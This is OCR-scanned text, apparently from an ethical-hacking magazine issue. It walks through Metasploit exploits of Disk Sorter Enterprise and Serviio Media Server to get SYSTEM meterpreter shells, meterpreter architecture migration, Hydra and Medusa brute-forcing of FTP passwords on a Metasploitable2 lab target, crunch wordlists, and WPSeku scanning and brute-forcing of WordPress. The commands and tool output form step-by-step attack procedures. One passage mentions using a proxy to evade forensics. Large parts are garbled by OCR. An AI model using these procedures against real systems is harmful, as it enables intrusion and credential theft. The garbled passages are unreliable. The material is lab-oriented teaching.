-tached storage (NAS) devices and enterprise 2t i29Sortervaoens price e
storage systems. This is a complete solution a1t TP A o >é°'3§$2;:éé’&&2¥"‘f€ L
for file classification where users can see whi- ] : e ' 1
ch type of files are using most of the disk spa- Slnce I already know its a Wlndows system
ce, save reports to a database and perform fil (due to port scan), | quickly start Metasploit a-
-e management operations on different types nd load the module as shown below.

2
2

Of f|les msf > use exploit/windows/http/disksorter bof

msf exploit( ) > show options

DlSksorter Enterprlse edltlon haS a Web Module options (exploit/windows/http/disksorter bof):
based management Interface a||OW|ng users t Name Current Setting Required Description

. PIOxleS A proxy chain of format type:host:port[,t
-0 control more than one servers using a from yeehost:portlL... A e
. o ! ne al:ge al _I'EE?S
a Web browser Ioca”y OI’ Vla the network gI;(ERT ?glse L'e];oﬁlag:tsgfﬁiggzr" outgoing connection

This exploit works only when the web int- [ HITP server virtual host
erface is enabled as the vulnerability exists in  EE_E_—_G_GcG"=
the web interface. It is a stack based buffer ov |-
erflow which is caused by improper bounds c- Disk Sorter Enterprise v9.5.12
hecking of the request path in HTTP GET req- ey B |
uests sent to the built-in web server. | set the target IP address and check if the tar
Now let's see how this exploit works. Jus get is indeed vulnerable.The result is positive.
-t imagine during a pentest | run a port scan o
n one of the machines and find this.

:~# nmap -sV 192.168.91.135

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-13 04:29 EDT
Nmap scan report for 192.168.91.135
Host is up (0.00026s latency)
Not shown: 990 closed ports
STATE SERVICE VERSION
open http
open msrpc Microsoft Windows RPC
open netbios-ssn Microsoft Windows netbios-ssn
open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: W

49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
1 sel\n_re unrecognized despite returning data. If you know the service/version,

submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?n
2rvice :

D=6/13%Time=593FA28C%P=1686-pc-Llinux-gnu%r(GetReq
0200\x200K\r\nContent-Type:\x20text/html\r\nConte

SF;ntLé|1gt|'1‘:l\:::20122\3\r\n\r\n-:1DOCWFE\;ZGHTFVIL\XZGFUBLIC\X20\“rf’/W3C//DTD\. If you don't set any payload, by default it take-
Everything displays its banner except on port s the windows reverse meterpreter_tcp paylo-
80. So | start a verbose scan to grab the bann ad. Here | have set the meterpreter bind_tcp
-er on port 80. payload.




Type command "run" to execute the exploit. A
-S you can see, we directly got a meterpreter
sheII with system access.

Serviio Media Server CheckStreamurl
command Execution

The second exploit is of hacking a Servioo Me

dia Server from versions 1.4.0to 1.8.0 (1.8 is
the present version, by the way).

Serviio media server is a free media ser
ver which allows users to stream media files
(music, video or images) to renderer devices
like a TV set, Bluray player, gaming console o
r mobile phone on your connected home netw
ork.

This media server has a console comp-
onent which runs on port 23423 by default. Th
-is module exploits an unauthenticated remot-
e command execution vulnerability in this con
sole component.

This is possible as the console service
exposes a REST API whose endpoint does n-
ot sanitize user-supplied data in the 'VIDEO'
parameter of the 'checkStreamUrl' method.

This parameter is used in a call to cmd.
exe which results in execution of arbitrary co-
mmands. Now let's see how this exploit work
S.

So imagine while pentesting, | am scann
ing a specific port (in this case, pot 23423) on
multiple machines as shown below. | got one
positive result.

It infers that it is indeed a Serviio Media Serve
r running on this specific port and our target
OS is Windows, so we can use our expploit.

Start Metasploit and load the module as
shown below

Set the target IP and check if the target is vul-
nerable (Remember we know the target is usi
ng Serviio Media server but have no idea if it
is a vulnerable version).

The '‘check" command confirms that the targe
-t is vulnerable.

Set the other required options and type
command "run" to execute the exploit.

NT AUTHORITY

(STEM

Now | decide to do a verbose scan with We successfully got the meterpreter shell with

OS detection enabled to probe further.

system privileges once again.



Meterpreter Arcitecture Migrate
Well, you all know about meterpreter payload.
It is an advanced dynamically extensible payl-
oad of Metasploit. This "post" exploit is about

migrating from one architecture to another arc p

hitecture.

Well, what is architecure? As we all know
there are two main system architectures 32bit
and 64bit. Sometimes we happen to run our e
xploit from a 32bit machine to hack a 64bit ma
-chine or run our exploit from a 64bit machine
to hack a 32bit machine.

The meterpreter payload spawns a proce
-ss according to the architecture of the attacki
ng system. If the attacking system is 32bit, th-
e meterpreter process is 32bit and if the attac
king system is 64bit the meterpreter process i
-s 64bit.

Sometimes there may be compatibility iss-
ues if we get a 32bit meterpreter session on a
64bit machine and vice versa. This is the exa-
ct reason why this module is introduced.

For example, in the previous module, we
hacked a 64bit machine from a 32bit Kali Linu
-X. So we have a 32bit meterpreter session on
a 64bit target. To overcome the problems of
imcompatibility, we need to start a 64bit meter
preter session. It is exactly in this case, this m
-odule comes handy.

This module checks if the architecture of
meterpreter is as same as the architecture of
OS and if it is not, spawns a new process with
the correct architecture and migrates into that
process.Let's see how this module works.

To use this module, you need to backgro-
und the current session using command "bac
kground". Then load the exploit as shown bel-
ow. Type command "show options" to have a
look at the options it requires.

| . sales@hackercool.com )

We need to only set the session id of the met-
erpreter session we just sent to background
and the exploit is good to go.

If you see in the above image, our exploit faile
-d to run for the first time. This is because in t
he previous session we had system privileges
and if we run this module we may lose the sys
tem privileges.

But don't worry we can change the optio
-ns to overcome this problem. Set "ignore_sy-
stem" option to true and you should be fine to
go.

This time the exploit ran successfully. A
S you can see in the above image, our target
is a 64bit machine and our meterpreter migrat
-ed to a 64bit process successfully.

Lets check by typing command "session

to see the available sessions.

sessions -1

S _lll

isf pos

You can see we have a 64bit meterpreter
now. Job performed.
/

\




PASSWORD CRACKING

METASPLOITABLE TUTORIALS

The lack of vulnerable targets is one
of the main hindrances for practising the
skill of ethical hacking. Metasploitable is
one of the best and often underestimated
vulnerable OS useful to learn hacking or
pentesting. Many of my readers have been
asking me for metasploitable tutorials.So
we have decided to make a complete Meta
-sploitable hacking guide in accordance
with ethical hacking process. We have pla
-nned this series keeping absolute beginn-
ers in mind.

In the last issues, we performed enu
meration and got some credentials. We als
o used those credentials in gaining acces-
s to the system. But what do we do if we
don't get credentials during enumeration.

That's where password cracking enters.

Password cracking plays a very important role
in hacking. We are not always lucky to get cre
dentials during enumeration. There are two ty
pes of password cracking.

Online password cracking

Offline password cracking
In these tutorials we will see online password
cracking. There are many techniques in onlin-
e password cracking. Some of them are,
1.Dictionary Attack:
Dictionary password attack is a password cra-
cking attack where each word in a dictionary
(or a file having a lot of words) is tried as pass
-word until access is gained. This method will
be successful when simple passwords are set
By simple, | mean common passwords which
can be found in a dictionary like password, ilo
veyou etc. This type of attack consumes less
time but is not bound to be successful always
especially if the password is not present in the
dictionary.
2.Bruteforce Attack:
Brute Force attack is a password cracking att-
ack similar to dictionary attack. The only differ

-ence is in this attack,each and every possible
combination is tried until the password is succ
essfully cracked. For example, if there are two
words say "abc" and "123" in a wordlist, other
combinations like "abc1", "abc2" and "abc3" a
re also tried. Brute force attack will definitely
succeed even if it means it will take years to d
o that.

3.Hybrid attack:

As the name suggests, it uses a combination
of both dictionary and bruteforce password att
acks to crack the password.

4.Rainbow Table attack:

Rainbow Table password cracking technique
uses pre computed hashes to crack the encry
pted hashes.

Kali Linux has various tools in its arsenal
for both online and offline password cracking.
Some of the online password cracking tools a
re

Acccheck

John The Ripper

Hydra

Medusa etc.

We have already seen the working of the too-
| Accheck during . In this tu
torial, we will see how to crack passwords wit-
h a tool called Hydra.

THC-Hydra is a password cracker which
uses brute forcing to crack the passwords of
remote authentication services. It can perform
rapid dictionary attacks against more than 50
protocols, including telnet, ftp, http, https, smb
, several databases and much more.

On our target Metasploitable2, we have
many services which allow remote authentica-
tion like telnet, ftp and SSH. We also have rlo-
gin available. We will use Hydra onone of the-
se services.

Hydra can be accessed from the applic-
ations menu of Kali Linux. It is available both
in GUl and command line utility. For this tutori
al, I'm using the graphical one.



Once opened, Hydra will look like show below

xHydra e
Quit
Target | Passwords = Tuning Specific | Start
Target
@ Single Target 1127.0.0.1 '
() Target List
[J Prefer IPV6
Port b H
Protocol |asterisk v
Output Options
[ Use SSL [l Be Verbose
[] Show Attempts ["] Debug
[] COMPLETE HELP ["] Service Module Usage Details
hydra -l yourname -p yourpass -t 16 127.0.0.1 asterisk

Change the target IP to that of Metasploitable'
s IP.There are many protocols to choose from
Here | am choosing ftp. Change the port to 21
as ftp is running on port 21. | selected options
"Be Verbose" and "show attampts" to see the
cracking process.

ordlist for both username and password. This
dictionary is big.txt. | selected the options "Try
Login as password" , "Try empty password" a-
nd "Try reverse login". These options are self
explanatory.

xHydra

Quit
Target | Passwords | Tuning  Specific | Start
Username

I
[yourname;|

!;rsﬂ’dirblwordtistslbig.txt1

) Username

@ Username List

[J Loop around users [ Protocol does not require usernames

Password

_) Password |yourpass

® Password List 'weﬂ‘dirb;’wordtistslb\q.txt?

_) Generate |1:1:a
Colon separated file
[C) Use Colon separated file
& [Try login as password & Try empty password & Try reversed login

hydra -s 21 -v -V -L /usr/share/dirb/wordlists/big.txt -P fusr/share/dirb/wordlists/big.txt - nsr ...

The tuning tab is used to configure proxy and
number of simultaneous tries. | left it as defau
It.

e oo

xHydra
Quit

Target Passwords | Tuning | Specific | Start
Performance Options

&
v

Number of Tasks

E

Timeout (30 ¢

[] Exit after first found pair (per host)
[ Exit after first found pair (global)

("] Do not print messages about connection errors

Use a HTTR/HTTPS Proxy

() HTTP Method () CONNECT Method

@® No Proxy

Proxy Ihttp:.-’.-’lE?".[).[).1:80801

["] Proxy needs authentication

Username |yourname

Password |yourpass

xHydra (—IC I <)
Quit
Target | Passwords | Tuning = Specific Start
Target
@ Single Target 1192.168.91.130 |
) Target List |
[ Prefer IPV6
Port [21
Protocol hp v
Qutput Options
[ Use SSL [ Be Verbose
& Show Attempts [ Debug
] COMPLETE HELP [Tl Service Module Usage Details
hydra -s 21 -v -V -L /root/Desktop/pass.xt -P /root/Desktop/pass.ixt -e nr -t 30 -w 60 192.16...

Click on "passwords" tab. We can give a singl

hydra -s 23 -v -V -L /usr/share/dirb/wordlists/others/best110.txt -P /us...

-e username and password or a file containin- | left even "specific" tab to default. When all th

g a number of usernames and passwords.

e settings are set, go to "Start" tab. To start th

Here | am giving the same dictionary or w- e attack, click on "Start" button.



xHydra @ ® O
Quit
Target | Passwords | Tuning = Specific | Start
|Output
\E| @| |Save Output.| I-C lear Output|
hydra -s 23 -v -V -L fusr/share/dirb/wordlists/others/best110.txt -P /us...

The attack is displayed as shown below.

xHydra [— IO <]
Quit
Target | Passwords  Tuning  Specific Start |

Output
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizal

Hydra (http://www.thc.org/thc-hydra) starting at 2017-06-19 07:03:49

[WARNIMG] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, '
[DATA] max 30 tasks per 1 server, overall 64 tasks, 700 login tries (1:25/p:28), ~0 tries per task
[DATA] attacking service ftp on port 21]
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login " "bin" - 14 of 700 [child 12]

FATTCAANT & __2a0n a0 na ann A _coanFoLad
< 3

}Stiart} ‘H‘ i Save Outpu{ I_C_leﬁ)u_tpa|

hydra -s 21 -v -V -L /root/Deskiop/pass.txt -P /root/Desktop/pass.ixt -e nsr -t 30 -w 60 192.1...

games”
games”
games”
games”
games”
games”
games”
games”
games”
games”
games”
games”
games”

"games” - 1 of 700 [child 0]

" - 2 of 700 [child 1]

"semag” - 3 of 700 [child 2]
“"nobody” - 5 of 700 [child 3]
"bind" - 6 of 700 [child 4]
"proxy” - 7 of 700 [child 5]
"syslog"” - 8 of 700 [child 6]
"user" - 9 of 700 [child 7]
"www-data" - 10 of 700 [child 8]
"root" - 11 of 700 [child 9]
"news" - 12 of 700 [child 10]
"postgres” - 13 of 700 [child 11]

The time of the attack depends on the
number of words present in the dictionary or
the wordlist we specified. The password is cra
cked if the phrase is present in the dictionary.

If the password is not there in the wor-
dlist, we need to use another dictionary. The b
ig.txt dictionary | used failed to crack the pass
word. So | used another wordlist we made dur
ing enumeration "pass.txt". After some time,
Hydra found three valid passwords.

xHydra e ® 0

Quit
Target Passwords Tuning  Specific Start |

[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "
[ATTEMPT] target 192.168.91.130 - login "dbuser" - pass "
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "
[ATTEMPT] target 192.168.91.130 - login "dbuser" - pass "
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "proftpd"” - 689 of 700 [child 27]
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "dhcp” - 690 of 700 [child 12]
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "daemon" - 691 of 700 [child 2]
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "sshd" - 692 of 700 [child 4]
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "man" - 693 of 700 [child 22]
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "Ip" - 694 of 700 [child 26]
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "mysgl” - 695 of 700 [child 16]
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "gnats" - 696 of 700 [child 3]
[ATTEMPT] target 192.168.91.130 - login "dbuser" - pass "libuuid" - 697 of 700 [child 11]
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "backup” - 698 of 700 [child 13]
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "msfadmin” - 699 of 700 [child 14]
[STATUS] attack finished for 192.168.91.130 (waiting for children to complete tests)

1 of 1 target successfully completed, 3 valid passwords found

Hydra (http:/fwww.thc.org/thc-hydra) finished at 2017-06-19 0?:05:15|

bin" - 686 of 700 [child 15]
mail" - 687 of 700 [child 18]
distccd” - 688 of 700 [child 1]

<finished> Il
e e — - —| L = 1
iStart} ‘Stop‘ iSave Qutput ‘Clear Output|

hydra -s 21 -v -V -L /root/Deskiop/pass.txt -P /root/Deskiop/pass.txt -e nsr -t 30 -w 60 192.1..

Scroll up to see what are those passwords.
eeo

xHydra
Quit
Target | Passwords | Tuning | Specific | Start

[AT LI 1] l@gel 192, LU0, 5.0 LoU - [UguT usci - pass
[ATTEMPT] target 192.168.91.130 - login "user" - pass
[ATTEMPT] target 192.168.91.130 - login "user” - pass "
[ATTEMPT] target 192.168.91.130 - login "user" - pass "
[ATTEMPT] target 192.168.91.130 - login "user” - pass "postgres” - 153 of 700 [child 29]
[ATTEMPT] target 192.168.91.130 - login "user" - pass "bin" - 154 of 700 [child 5]

[ATTEMPT] target 192.168.91.130 - login "user" - pass "mail" - 155 of 700 [child &]

[ATTEMPT] target 192.168.91.130 - login "user" - pass "distccd” - 156 of 700 [child 23]|
[21][ftp] host: 192.168.91.130 login: user password: user

[ATTEMPT] target 192.168.91.130 - login "www-data" - pass ™" - 170 of 700 [child 18]
[ATTEMPT] target 192.168.91.130 - login "www-data” - pass "atad-www" - 171 of 700 [child 11]
[ATTEMPT] target 192.168.91.130 - login "www-data" - pass "games” - 172 of 700 [child 13]
[ATTEMPT] target 192.168.91.130 - login "www-data" - pass "nobody" - 173 of 700 [child 14]
[ATTEMPT] target 192.168.91.130 - login "www-data" - pass "bind" - 174 of 700 [child 19]
[ATTEMPT] target 192.168.91.130 - login "www-data" - pass "proxy" - 175 of 700 [child 22]
[ATTEMPT] target 192.168.91.130 - login "www-data" - pass "syslog" - 176 of 700 [child 4]
[ATTEMPT] target 192.168.91.130 - login "www-data" - pass "user” - 177 of 700 [child 7]
[ATTEMPT] target 192.168.91.130 - login "www-data" - pass "root" - 179 of 700 [child 10]
[ATTEMPT] target 192.168.91.130 - login "www-data" - pass "news" - 180 of 700 [child 16]
[ATTEMPT] target 192.168.91.130 - login "www-data" - pass "pesigres” - 181 of 700 [child 3]
[ATTEMPT] target 192.168.91.130 - login "www-data" - pass "bin" - 182 of 700 [child 9]
[ATTEMPT] target 192.168.91.130 - login "www-data" - pass "mail” - 183 of 700 [child 17] v

|ﬂ \ﬂ‘ |-Save Output.| | Clear Qutput

hydra -s 21 -v -V -L /root/Desktop/pass.txt -P /root/Desktop/pass.txt -e nsr -t 30 -w 60 192.1...

SYSIUY - 190 Ul FUU (LU £
"www-data" - 150 of 700 [child 6]
root" - 151 of 700 [child 24]
news" - 152 of 700 [child 25]

xHydra e e 0
Quit
Target Passwords Tuning Specific | Start
|ATIEMP1] target 192.168.91. 13U - login “backup” - pass ‘dbuser” - b44 of /UU [child 4] .

"msfadmin” - 645 of 700 [child 10]
™ - 646 of 700 [child 16]
msfadmin” - pass "nimdafsm” - 647 of 700 [child 26]
msfadmin” - pass "games" - 648 of 700 [child 3]
msfadmin” - pass "nobody" - 649 of 700 [child 11]
msfadmin” - pass "bind" - 650 of 700 [child 13]
msfadmin” - pass "proxy" - 651 of 700 [child 14]
msfadmin” - pass "syslog" - 652 of 700 [child 17]
[ATTEMPT] target 192.168.91.130 - login "msfadmin” - pass "user" - 653 of 700 [child 19]
[ATTEMPT] target 192.168.91.130 - login "msfadmin” - pass "www-data" - 654 of 700 [child 20]
[21][ftp] host: 192.168.91.130 login: msfadmin password: msfadmin

[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass ™ - 674 of 700 [child 25]

[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "resubd" - 675 of 700 [child 6]|
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "games" - 676 of 700 [child 28]
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "nobedy” - 677 of 700 [child 5]
[ATTEMPT] target 192.168.91.130 - login "dbuser" - pass "bind" - 678 of 700 [child 29]
[ATTEMPT] target 192.168.91.130 - login "dbuser" - pass "proxy" - 679 of 700 [child 7]
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "syslog” - 680 of 700 [child 9]
[ATTEMPT] target 192.168.91.130 - login "dbuser” - pass "user" - 681 of 700 [child 21] I
[ATTEMPT] target 192.168.91.130 - login "dbuser" - pass "www-data" - 682 of 700 [child 23]
TATTEMPTI taraet 197.168.91.130 - loain "dhuser” - nass "root” - 683 of 700 [child 241 v

-
IStarf | |St_0[;;| |§ave Outpui‘ ICLear Outputr

hydra -s 21 -v -V -L /root/Desktop/pass.txt -P /root/Desktop/pass.txt -e nsr -t 30 -w 60 192.1...

[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "
[ATTEMPT] target 192.168.91.130 - login "

msfadmin” - pass
msfadmin” - pass




xHydra (- IO -

Quit

Target | Passwords  Tuning | Specific = Start

[ATIEME ] Target 152, 106.9 1. 13U - login. NEWS - pdss msraamin - £51 0T JUU [CAid U]
[ATTEMPT] target 192.168.91.130 - login "news" - pass "dbuser” - 252 of 700 [child 1]
[ATTEMPT] target 192.168.91.130 - login "postgres” - pass "postgres” - 253 of 700 [child 12]
[ATTEMPT] target 192.168.91.130 - login "postgres” - pass ™ - 254 of 700 [child 21]
[ATTEMPT] target 192.168.91.130 - login "postgres” - pass "sergtsop” - 255 of 700 [child 6]
[ATTEMPT] target 192.168.91.130 - login "postgres” - pass "games” - 256 of 700 [child 25]
[ATTEMPT] target 192.168.91.130 - login "postgres” - pass "nobody” - 257 of 700 [child 5]
[ATTEMPT] target 192.168.91.130 - login "postgres” - pass "bind" - 258 of 700 [child 8]
[ATTEMPT] target 192.168.91.130 - login "postgres” - pass "proxy" - 259 of 700 [child 23]
[ATTEMPT] target 192.168.91.130 - login "postgres” - pass "syslog" - 260 of 700 [child 24]
[ATTEMPT] target 192.168.91.130 - login "postgres” - pass "user" - 261 of 700 [child 29]
[ATTEMPT] target 192.168.91.130 - login "postgres” - pass "www-data" - 262 of 700 [child 27]
[21][ftp] host: 192.168.91.130 login: postgres password: postgres|

[ATTEMPT] target 192.168.91.130 - login "bin" - pass ™" - 282 of 700 [child 18]

[ATTEMPT] target 152.168.91.130 - login "bin" - pass "nib" - 283 of 700 [child 11]
[ATTEMPT] target 192.168.91.130 - login "bin" - pass "games” - 284 of 700 [child 19]
[ATTEMPT] target 192.168.91.130 - login "bin" - pass "nobody" - 285 of 700 [child 14]
[ATTEMPT] target 192.168.91.130 - login "bin" - pass "bind" - 286 of 700 [child 4]
[ATTEMPT] target 192.168.91.130 - login "bin" - pass "proxy" - 287 of 700 [child 10]
[ATTEMPT] target 192.168.91.130 - login "bin" - pass "syslog" - 288 of 700 [child 16]
[ATTEMPT] target 192.168.91.130 - login "bin" - pass "user" - 289 of 700 [child 3]
TATTEMPTI target 192.168.91 130 - login "bin" - pass "www-data" - 290 of 700 Ichild 91 - v

"

Start Stop Clear Qutput

Save Output
hydra -s 21 -v -V -L /root/Desktop/pass.ixt -P /root/Deskiop/pass.ixt -e nsr -t 30 -w 60 192.1...

Apart from Hydra, Kali Linux also has comma-
nd line tools to use for password cracking.

One such tool is Medusa. Open a terminal
and type medusa to see the options of that to-
ol. Below is the command in medusa to crack
ftp using a wordlist.

:~# medusa -h 192.168.91.130 -U /root/Desktop/pass.txt -P /root/Deskto
p/pass.txt -M ftp
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.
net>

ACCOUNT CHECK: [ftp] Host: 192.168.91.130 (1 of 1, © complete) User: games (1 o
f 25, 0 complete) Password: games (1 of 25 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.91.138 (1 of 1, O complete) User: games (1 o
:' 25, 0 complete) Password: nobody (2 of 25 complete)

Once medusa cracks a password, it will be sh
own as below. Once again we got three crede
ntials we found also with Hydra.

ALLUUNI LAELA: [TLP) AOSLD 1YZ.105.Y1.139 (1 01 1, U CompLeLe) user.:
10 of 25, 9 complete) Password: news (9 of 25 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.91.130 (1 of 1, O complete) User: postgres (
10 of 25, 9 complete) Password: postgres (10 of 25 complete)

FOUND: [ftp] Host: 192.168.91.130 User: postgres Password: postgres [SU

posigres |

CHECK: [ftp] Host: 192.168.91.130 (1 of 1, 0 complete) User: bin (11 of

ACCOUNT CHELK:
24 of 25, 23 complete) Password: ms
ACCOUNT FOUND:

CCESS]

ACCOUNT CHECK:
of 25, 24 complete)
UNT CHECK:

AC

of 25, 24 c

ACCOUNT CHECK:
of 25, 24 complete)
ACCOUNT CHECK: [ftpl

complete) Password:

CHECK: [ftp] Host:

complete) Password:

CHECK: [ftp] Host:

complete) Password:

CHECK: [ftp] Host:

complete) Password: p

CHECK: [ftp] Host:

complete) Password:

CHECK: [ftp] Host:

complete) Password:

CHECK: [ftp] Host:

complete) Password:

CHECK: [ftp] Host:

complete) Password:

CHECK: [ftp] Host:

complete) Password:

|Ttp] Host:

[ftp] Host:

[ftp] Host:

[ftp] Host:
omplete)
[ftp] Host:

Host:

25, 5 complete) Password:

ACCOUNT CHECK:

[ftp] Hos

25, 5 complete) Password:

ACCOUNT CHECK:

[ftp] Host:

25, 5 complete) Password:
ACCOUNT CHECK: [ftp] Host:
25, 5 complete) Password:

ACCOUNT CHECK:

[ftp] Hos

25, 5 complete) Password:
ACCOUNT FOUND: [ftp] Host:

Password:

Password:

Password:

games (1 of 25 complete)
192.168.91.130 (1 of 1, © complete)
nobody (2 of 25 complete)
192.168.91.130 (1 of 1, 0 complete)
bind (3 of 25 complete)
192.168.91.130 (1 of 1, © complete)
roxy (4 of 25 complete)
192.168.91.130 (1 of 1, © complete)
syslog (5 of 25 complete)
192.168.91.130 (1 of 1, © complete)
user (6 of 25 complete)
192.168.91.130 (1 of 1, © complete)
www-data (7 of 25 complete)
192.168.91.130 (1 of 1, 0 complete)
root (8 of 25 complete)
192.168.91.130 (1 of 1, © complete)
news (9 of 25 complete)
192.108.91.130
dmin
168.91.130

(1 of 1, @ complete)
(24 of 25 complete)

192. User:

192.168.91.130 (1 of 1, O complete)
games (1 of 25 complete)
168.91.130 (1 of 1, @ complete)
nobody (2 of 25 complete)
168.91.136 (1 of 1, 0 complete)
bind (3 of 25 complete)

192.168.91.130 (1 of 1, O
nobody (2 of 25 complete)
192.168.91.130 (1 of 1, ©
bind (3 of 25 complete)

192.168.91.130 (1 of 1, ©
proxy (4 of 25 complete)

192.168.91.130 (1 of 1, O
syslog (5 of 25 complete)
192.168.91.130 (1 of 1, ©
user (6 of 25 complete)

192.168.91.130 User: user Password:

192.

192.

complete)
complete)
camplete)
complete)

complete)

User: bin (11

User: bin (

User: bin (

User: bin

User: bin (

User: bin (

User: bin (

User: bin (

User: mstadmin (

msfadmin Password: msfadmin [SU

User: dbuser (25

User: dbuser (25

User: dbuser (25

User: user (6

User: user (
User: user (
User: user (
User: user (

user [SUCCESS]

We have used the same dictionary in both me
thods, but where do we find this dictionary or
wordlist. Most wordlists of Kali Linux are pres-
ent in /usr/share directory. Given below are di-
fferent dictionaries in the "wordlists" folder.

Select username list

A ae dub | wordlists

Q Search - 0910772016

These wordlists are named accordingly. For e
xample, "common.txt" contains most common
passwords used by users.

But what if none of the dictionaries are hel
pless in cracking the password. Kali Linux als-
o has tools to create our own dictionary or wo
rdlist. Crunch is one such tool. The syntax is
given below.

:~# crunch
crunch version 3.6

Crunch can create a wordlist based on criteria you specify.
nch can be sent to the screen, file, or to another program.

The output from cri

Usage: crunch
where min and m

> <max> [options]
e numbers

man page for instructions and examples on how to use crunch

Please refer to the
L]

Here's an example of how to create a wordlist
with crunch.

:~# crunch 1 2 abc
Crunch will now generate the following amount of data: 33 bytes
o MB
b GB
o TB
o PB
Crunch will now generate the following number of Llines:

:~# crunch 3 6 abcABC -o /root/Desktop/wordlist.txt
Crunch will now generate the following amount of data: 388592 bytes

Crunch will now generate the following number of lines: 55944

crunch: 10

completed generating output




WPSeku - Wordpress Security Scanner

NOT JUST ANOTHER TOOL

Hi Hackers. Wordpress is one of the most pop
ular CMS being used nowadays. According to
W3Tech's report, at the time of writing this ho-
wto it is being used by 59.1% of users for thei
r websites.

With a number of plugins for extened func
-tionality, It's aslo very user friendly. But being
user friendly doesn't mean it's secure. The plu
gins just increase the scope of target for the
hacker to intrude to your website.

Scanning your wordpress site regularly fo-
r vulnerabilities can improve your security sce
nario. WPSeku is a simple vulnerability scann
-er for Wordpress CMS. You can get it from th
-e lik given below.

We can clone into Kali Linux using git as

hload( Pictures Templates Wl
Public Videos

core LICEl .md wpseku.py

A new directory with the name "WPSeku" will
be created. Go into that directory and we will
see a python script.

We need python to run WPSeku which is
installed by default in Kali Linux. Run the com
-mand "python wpseku.py" to see all its option

:~/WPSeku# python wpseku.py

As we can see in the options, this tool can
check for xss, Ifi and sql vulnerbilities in your
wordpress website. It can also eumerate user
names and brute force the pass if need arises

| set up a test wordpress site with some
plugins installed to check for the effectiveness
of WPSeku.

You need to assign a target as shown be
low and the scan is active.

:~/WPSeku# python wpseku.py -t http://192.168.91.136

The scan started with some warnings about
the site like information disclosure.

Then it started scanning my wordpress CMS.
It listed me the version and also listed the vul-
nerability that the version suffers from as sho-
wn in the above image. The vulnerability is a
latest one.

4 )

If you are a user or
developer who want any
tool listed here, Send your
request to
qa@hackercool.com




Then it began enumerating the theme of my coteHati ~/uPskus Pyt
wordpress website. It was clean as my websit [

-e theme was latest one. Then it started enum

erating the plugins.

A \/c can also set the redirection url as shown

tent/themes/twentyseventeen/sty

Plugins are a very important area of wordpres
-s vulnerability scanning. | included in my wor-
dpress test site a few vulnerable plugins to as
sess the effectiveness of this tool.

d We saw just above that this program enumera
ted us a username "admin". With wpseku we
M can either or login page or xmirpc.php.
The login page can be bruteforced using
the'

It found out all the vulnerabilities in the plugin- on/nALLOK/WPSek
s installed. That was cool. It also enumerated 168.91.1
the username for us. Very simple working.

Xmirpc.php is used by wordpress to execute
remote functions. Wpseku can bruteforce the
xmlrpc.php page with the 'x' option

/WPSeku# eku

:~/WPSeku# [

We can also set a proxy while performi

ng the scan .This may be helpful in pentesting

or while hacking the website to disable web s-

erver forensics. , iy
We need to set the proxy IP address a- (u8 ' back with a

nd port as shown below. Until then, Good Bye.

ew tool next month.




ms08 067

HACKED - The Beginning

| was in a dilemma and | think calling it a dilemma would be an understatement. | was
back to square one regarding my career choice. Should | pursue my dream or should | chang
-e to ABAP as suggested by my family members. | was unable to make any decision regardi-
ng this.

After spending a lot of time in distress, | decided to practice some hacking. | setup my
virtual lab on my laptop during the hacking course only. The attacker system was kali and my
victim machine was Windows XP. When | opened my lab and started to practice, it was like
everything new to me.

| once again went through everything taught to me (Lucky that | have kept notes). Thre
at, Vulnerability, exploit, stages of hacking, metasploit and meterpreter etc, etc etc. | started
practising from the beginning but found it boring. The most interesting part of my course was
ms08_067 exploit. It was the only practical example shown to us and it was pretty interesting.
(For those newbies who don't know what is ms08_067, it is a famous or rather infamous vuln
erability in Windows XP). The trainer showed us so many things we can do after getting acce
ss to a machine.

| decided to practise it. | turned on both the machines, brushed up my Metasploit basic
-s and ran the exploit. It didn't work. According to the class, | should have got a meterpreter
shell. But | was not getting one. | checked the options again. Still not working. Restarted both
the machines, still didn't work. As nothing was working, The list of things that worked during
training and not working for me were testing my nerves.

